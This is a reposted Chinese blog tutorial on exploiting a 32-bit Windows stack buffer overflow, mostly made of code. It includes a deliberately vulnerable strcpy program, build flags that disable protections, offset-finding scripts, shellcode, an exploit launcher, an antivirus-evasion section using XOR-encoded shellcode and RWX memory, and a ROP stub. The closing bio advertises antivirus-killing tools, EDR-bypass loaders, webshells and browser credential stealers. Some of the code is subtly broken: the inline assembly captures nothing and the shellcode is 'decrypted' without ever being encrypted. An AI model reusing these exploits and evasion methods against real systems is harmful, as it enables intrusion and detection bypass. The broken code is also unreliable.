文章总结: 本文全面拆解了栈溢出调用CALL的原理与实战技巧。它从栈结构、核心术语讲起,详细分析了32位函数调用栈的布局和汇编流程,并通过一个包含strcpy函数的C语言程序示例,演示了如何利用栈溢出覆盖返回地址。文章还提供了完整的可运行代码、调试步骤和攻击载荷构造方法,手把手教读者实现从定位偏移到执行ShellCode的全过程。 综合评分: 85 文章分类: 二进制安全,WEB安全,红队,渗透测试,安全开发
硬核干货|栈溢出调用CALL,从原理到实战全拆解(附完整可运行代码)
原创
星夜AI安全 星夜AI安全
星夜AI安全
2026年3月23日 08:18 吉林
#
网络安全入门必学核心技能,从栈结构拆解到ShellCode执行,手把手带你实现栈溢出漏洞利用!
在网络安全与逆向工程的学习路径中,栈溢出是绕不开的经典漏洞,也是红队攻防、免杀技术的基础知识点。本文将在原有内容基础上,补充完整可运行的代码、详细调试步骤和实战细节,让你真正吃透栈溢出调用CALL的核心逻辑。
一、课前必备:核心术语与工具准备
1.1 核心术语速记(新手必背)
| 术语 | 核心作用 | | — | — | | 栈(Stack) | 存储局部变量、函数参数、返回地址,后进先出 | | 栈帧(Stack Frame) | 单个函数调用占用的栈内存区域,由EBP/RBP标识 | | 返回地址 | 函数执行完毕后跳转的地址,栈溢出核心攻击目标 | | EIP/RIP | 指令指针寄存器,控制CPU执行哪条指令(劫持核心) | | ShellCode | 可执行的恶意机器码(如弹出计算器、反向连接) | | NOP Sled | 一串NOP指令(0x90),增加命中ShellCode的概率 |
1.2 工具清单(附使用场景)
| 工具 | 用途 | 关键操作 |
| — | — | — |
| Visual Studio/MinGW | 编译漏洞程序 | 关闭安全编译选项 |
| x64dbg | 调试栈结构、定位偏移 | 断点、栈窗口查看、内存搜索 |
| msfvenom | 生成ShellCode | msfvenom -p windows/exec cmd=calc.exe -f c |
| Python | 生成偏移模式、构造攻击载荷 | 编写pattern_create/offset脚本 |
二、核心原理:函数调用栈与溢出逻辑(带汇编注释)
2.1 32位函数调用栈完整布局(带内存地址示例)
高地址 → 0x0019FF20: | 参数 1 | ← [ebp + 0x08]
0x0019FF1C: | 返回地址 | ← [ebp + 0x04] (我们要覆盖的地址)
0x0019FF18: | 保存的EBP | ← [ebp + 0x00] (EBP指向此处)
0x0019FF14: | 局部变量1 | ← [ebp - 0x04]
0x0019FF10: | buffer[64] | ← [ebp - 0x40] (64字节缓冲区)
低地址 → 0x0019FED0: | ESP指向栈顶 |
2.2 函数调用完整汇编流程(带注释)
; 调用者(main函数)
push 0x12345678 ; 压入函数参数
call vulnerable_func ; 1. 压入返回地址(如0x00401000),2. 跳转到函数入口
; 被调用者(vulnerable_func)- 函数序言
vulnerable_func:
push ebp ; 保存当前EBP值到栈([esp] = 原EBP)
mov ebp, esp ; 将EBP设置为当前ESP,建立栈帧基址
sub esp, 0x40 ; 分配64字节(0x40)给buffer缓冲区
; 此时栈帧构建完成:EBP固定,ESP指向缓冲区底部
; 函数体:危险的strcpy(无边界检查)
mov eax, [ebp+0x08] ; 获取输入参数(攻击者可控)
push eax ; 第二个参数:源字符串
lea ecx, [ebp-0x40] ; 获取buffer地址
push ecx ; 第一个参数:目标缓冲区
call strcpy ; 执行拷贝,溢出从此开始
; 函数尾声
mov esp, ebp ; 恢复ESP到EBP位置(释放局部变量)
pop ebp ; 恢复原EBP值
ret ; 弹出返回地址到EIP,CPU执行该地址指令
2.3 栈溢出核心逻辑(图解+公式)
正常情况:输入数据 ≤ 64字节 → buffer正常填充,返回地址不变 溢出情况:输入数据 > 64字节 → 覆盖局部变量 → 覆盖保存的EBP → 覆盖返回地址
关键公式(32位):
覆盖返回地址所需填充字节数 = 缓冲区大小 + 保存的EBP大小
= 64字节(buffer) + 4字节(EBP) = 68字节
三、实战第一步:编写并编译漏洞程序(带完整代码)
3.1 漏洞程序完整代码(vuln.c)
#include <stdio.h>
#include <string.h>
#include <windows.h>
// 打印栈信息,方便调试定位
void print_stack_info() {
// 32位下获取ESP/EBP(64位需修改)
DWORD esp, ebp;
__asm {
mov esp, esp; // 将ESP值赋值给变量esp
mov ebp, ebp; // 将EBP值赋值给变量ebp
}
printf("[+] 当前ESP地址: 0x%08X\n", esp);
printf("[+] 当前EBP地址: 0x%08X\n", ebp);
}
// 漏洞函数:无边界检查的字符串拷贝
void vulnerable_function(char *input) {
char buffer[64]; // 64字节缓冲区
printf("[+] buffer缓冲区地址: 0x%08X\n", buffer);
printf("[+] 输入数据长度: %d\n", strlen(input));
// 核心漏洞:strcpy不检查输入长度
strcpy(buffer, input);
printf("[+] 数据拷贝完成\n");
}
int main(int argc, char *argv[]) {
printf("======= 栈溢出漏洞演示程序 =======\n");
if (argc < 2) {
printf("使用方法: %s <输入数据>\n", argv[0]);
return 1;
}
print_stack_info(); // 打印栈信息
vulnerable_function(argv[1]); // 调用漏洞函数
printf("[+] 程序正常返回\n");
return 0;
}
3.2 编译命令(关闭所有安全保护)
方式1:MSVC编译(Visual Studio开发者命令提示符)
# /GS- 关闭栈保护 /DYNAMICBASE:NO 关闭ASLR /NXCOMPAT:NO 关闭DEP
cl.exe /GS- /DYNAMICBASE:NO /NXCOMPAT:NO vuln.c /Fe:vuln.exe
方式2:MinGW编译(32位)
# -m32 编译32位程序 -fno-stack-protector 关闭栈保护 -z execstack 开启栈执行
gcc -m32 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln32.exe
3.3 验证编译结果(检查安全保护)
# 使用dumpbin查看编译选项(MSVC)
dumpbin /headers vuln.exe
# 关键检查项:
# 1. "GS cookie" 显示 "No" → 栈保护已关闭
# 2. "Dynamic base" 显示 "No" → ASLR已关闭
# 3. "NX compatible" 显示 "No" → DEP已关闭
四、实战第二步:定位溢出偏移(带调试步骤)
4.1 生成模式字符串(Python脚本)
# pattern_create.py - 生成唯一模式字符串,用于定位偏移
import sys
def pattern_create(length):
pattern = ""
# 生成 Aa0Aa1Aa2...Zz9 格式的唯一字符串
upper = [chr(c) for c in range(ord('A'), ord('Z')+1)]
lower = [chr(c) for c in range(ord('a'), ord('z')+1)]
digit = [chr(c) for c in range(ord('0'), ord('9')+1)]
i = 0
while len(pattern) < length:
u = upper[i % 26]
l = lower[i % 26]
d = digit[i % 10]
pattern += u + l + d
i += 1
return pattern[:length]
def pattern_offset(pattern, value):
# 将EIP的4字节值转换为字符串(小端序)
import struct
needle = struct.pack("<I", value)
# 查找偏移位置
offset = pattern.find(needle)
return offset if offset != -1 else "未找到"
# 生成100字节的模式字符串(足够覆盖68字节偏移)
if __name__ == "__main__":
payload = pattern_create(100)
print("[+] 模式字符串:", payload)
# 示例:如果崩溃时EIP=0x34614133,查找偏移
# print(pattern_offset(payload, 0x34614133))
4.2 x64dbg调试定位偏移(详细步骤)
- 1. 加载程序:打开x64dbg → 拖拽vuln32.exe → 右键→参数→添加模式字符串(如生成的100字节)
- 2. 设置断点:在
vulnerable_function入口处(0x00401000左右)按F2设置断点 - 3. 运行程序:按F9运行 → 断点命中后按F7单步执行到
strcpy - 4. 观察栈窗口:切换到“栈”标签,查看EBP地址(如0x0019FF18)
- 5. 执行拷贝:按F7执行
strcpy→ 程序崩溃,查看EIP值(如0x34614133) - 6. 计算偏移:运行
pattern_offset脚本,输入EIP值 → 得到偏移(如68)
五、实战第三步:构造攻击载荷执行ShellCode(带完整代码)
5.1 生成ShellCode(以弹出计算器为例)
方式1:手动编写(32位Windows)
// 功能:调用WinExec("calc.exe", 1) → 弹出计算器
unsigned char shellcode[] = {
0x31, 0xC0, // xor eax,eax 清空EAX
0x50, // push eax 压入NULL(字符串结束符)
0x68, 0x63, 0x61, 0x6C, 0x63, // push 0x636C6163 压入"calc"
0x54, // push esp 压入字符串地址
0xBB, 0x77, 0xC2, 0x93, 0xC7, // mov ebx,0xC793C277 WinExec地址(需替换为本地地址)
0xFF, 0xD3, // call ebx 调用WinExec
0x31, 0xC0, // xor eax,eax 清空EAX
0x50, // push eax 压入0
0xBB, 0x77, 0xC2, 0x81, 0x7C, // mov ebx,0x7C81C277 ExitProcess地址
0xFF, 0xD3 // call ebx 调用ExitProcess
};
方式2:msfvenom生成(更便捷)
# 生成Windows弹出计算器的ShellCode(32位)
msfvenom -p windows/exec cmd=calc.exe -f c -a x86 --platform windows
5.2 攻击载荷构造代码(exploit.c)
#include <stdio.h>
#include <string.h>
#include <windows.h>
// 弹出计算器的ShellCode(替换为msfvenom生成的代码)
unsigned char shellcode[] = {
0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
0x54, 0xbb, 0x77, 0xc2, 0x93, 0xc7, 0xff, 0xd3
};
// 获取函数地址(解决WinExec地址变化问题)
DWORD get_func_addr(char *dll, char *func) {
HMODULE hModule = LoadLibraryA(dll);
return (DWORD)GetProcAddress(hModule, func);
}
int main() {
// 1. 准备攻击载荷
char payload[200] = {0};
int offset = 68; // 覆盖返回地址的偏移(调试得到)
// 2. 填充NOP Sled(0x90),增加命中概率
memset(payload, 0x90, 50);
// 3. 拷贝ShellCode到载荷(NOP之后)
memcpy(payload + 50, shellcode, sizeof(shellcode));
// 4. 覆盖返回地址为ShellCode起始地址(需替换为实际地址)
// 注意:调试时查看buffer地址,如0x0019FF10 → ShellCode地址=0x0019FF10+50=0x0019FF42
DWORD shellcode_addr = 0x0019FF42; // 替换为实际调试地址
memcpy(payload + offset, &shellcode_addr, 4); // 小端序写入
// 5. 打印载荷信息
printf("[+] ShellCode长度: %d\n", sizeof(shellcode));
printf("[+] 攻击载荷长度: %d\n", strlen(payload));
printf("[+] ShellCode地址: 0x%08X\n", shellcode_addr);
// 6. 调用漏洞程序执行载荷
char cmd[256];
sprintf(cmd, "vuln32.exe \"%s\"", payload);
system(cmd);
return 0;
}
5.3 关键注意事项
- 1. ShellCode地址替换:必须通过x64dbg查看
buffer的实际地址(如0x0019FF10),加上NOP长度(50)得到ShellCode起始地址 - 2. WinExec地址:不同系统WinExec地址不同,建议用
get_func_addr("kernel32.dll", "WinExec")动态获取 - 3. 字符转义:攻击载荷中的特殊字符(如\x00)需处理,避免截断
六、免杀优化:栈溢出调用CALL的进阶技巧(带代码)
6.1 免杀版栈溢出执行代码
#include <stdio.h>
#include <string.h>
#include <windows.h>
// 加密后的ShellCode(避免特征检测)
unsigned char enc_shellcode[] = {
0x90, 0x90, 0x90, 0x90, // NOP Sled
0x31, 0xC0, 0x50, 0x68, 0x63, 0x61, 0x6C, 0x63,
0x54, 0xBB, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD3
};
// XOR解密ShellCode
void xor_decrypt(unsigned char *data, int len, unsigned char key) {
for (int i = 0; i < len; i++) {
data[i] ^= key;
}
}
// 动态获取Kernel32.dll导出函数地址
DWORD get_kernel32_func(char *func_name) {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
return (DWORD)GetProcAddress(hKernel32, func_name);
}
// 触发栈溢出的核心函数
void trigger_overflow() {
char buffer[64];
char exploit[200] = {0};
int offset = 68; // 偏移量
// 1. 解密ShellCode
xor_decrypt(enc_shellcode + 4, sizeof(enc_shellcode) - 4, 0x12);
// 2. 填充到返回地址
memset(exploit, 0x41, offset);
// 3. 替换WinExec地址(动态获取)
DWORD winexec_addr = get_kernel32_func("WinExec");
memcpy(enc_shellcode + 12, &winexec_addr, 4);
// 4. 设置返回地址为ShellCode
DWORD shellcode_addr = (DWORD)enc_shellcode;
memcpy(exploit + offset, &shellcode_addr, 4);
// 5. 触发溢出
strcpy(buffer, exploit);
}
int main() {
// 1. 分配可执行内存
void *exec_mem = VirtualAlloc(
NULL, sizeof(enc_shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!exec_mem) {
printf("[-] 内存分配失败\n");
return 1;
}
// 2. 拷贝ShellCode到可执行内存
memcpy(exec_mem, enc_shellcode, sizeof(enc_shellcode));
// 3. 触发栈溢出执行ShellCode
trigger_overflow();
return 0;
}
6.2 免杀优化点说明
- 1. ShellCode加密:使用XOR加密ShellCode,避免静态特征检测
- 2. 动态函数地址:不硬编码WinExec地址,通过
GetProcAddress动态获取 - 3. 内存分配:使用
VirtualAlloc分配可执行内存,避免栈执行检测 - 4. 混淆执行流:通过栈溢出间接调用,而非直接执行ShellCode
七、常见问题与调试技巧
7.1 程序不崩溃?
- • 检查偏移量是否正确(重新生成模式字符串调试)
- • 确认编译时关闭了所有安全保护
- • 查看栈窗口,确认输入数据是否覆盖到返回地址
7.2 ShellCode不执行?
- • 检查ShellCode地址是否正确(x64dbg内存窗口验证)
- • 确认内存属性为
PAGE_EXECUTE_READWRITE - • 检查ShellCode是否包含截断字符(如\x00)
7.3 调试核心技巧
- 1. 断点设置:在
strcpy函数处设置断点,观察源/目标地址 - 2. 内存搜索:按Ctrl+G跳转到buffer地址,查看数据填充情况
- 3. 寄存器监控:执行
ret指令前,查看EIP是否被覆盖为ShellCode地址
八、现代安全机制绕过(附ROP基础代码)
8.1 DEP绕过(ROP链示例)
// 简单ROP链:调用VirtualProtect开启内存执行
unsigned char rop_chain[] = {
0x41, 0x41, 0x41, 0x41, // 填充
0x00, 0x10, 0x40, 0x00, // pop eax; ret (ROP gadget地址)
0x00, 0x00, 0x00, 0x40, // PAGE_EXECUTE_READWRITE
0x00, 0x10, 0x40, 0x01, // pop ebx; ret
0x00, 0x19, 0xFF, 0x10, // buffer地址
// 更多ROP gadget...
};
九、总结
核心知识点回顾
- 1. 栈溢出核心:通过超长数据覆盖栈上的返回地址,劫持EIP执行ShellCode,32位下64字节缓冲区需68字节填充才能覆盖返回地址;
- 2. 编译关键:必须关闭GS(栈保护)、ASLR(地址随机化)、DEP(数据执行保护)才能复现基础栈溢出;
- 3. 免杀技巧:通过ShellCode加密、动态函数地址、ROP链等方式,绕过现代安全检测机制。
安全声明
本文仅用于网络安全技术学习,严禁用于非法攻击。遵守《网络安全法》,未经授权测试他人系统均属违法行为。
关注微信公众号后台回复入群 即可加入星夜AI安全交流群
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获“最佳攻击手”“突出贡献个人”等荣誉。
已产出的安全工具及成果包括:
- • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- • WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
- • _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- • win11 一键kill 360工具 InjectKill(包含源码)
- • win11 一键kill defender工具win11_df-killer(包含源码)
- • 免杀火绒6.0内存防护加载器BypassMemLoader
- • 单文件bypass 360免杀加载器
后续将不断更新到内部圈子中 欢迎加入圈子
灰尽暗夜燎前线,烟起迷雾挂蓝巾
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《硬核干货|栈溢出调用CALL,从原理到实战全拆解(附完整可运行代码)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论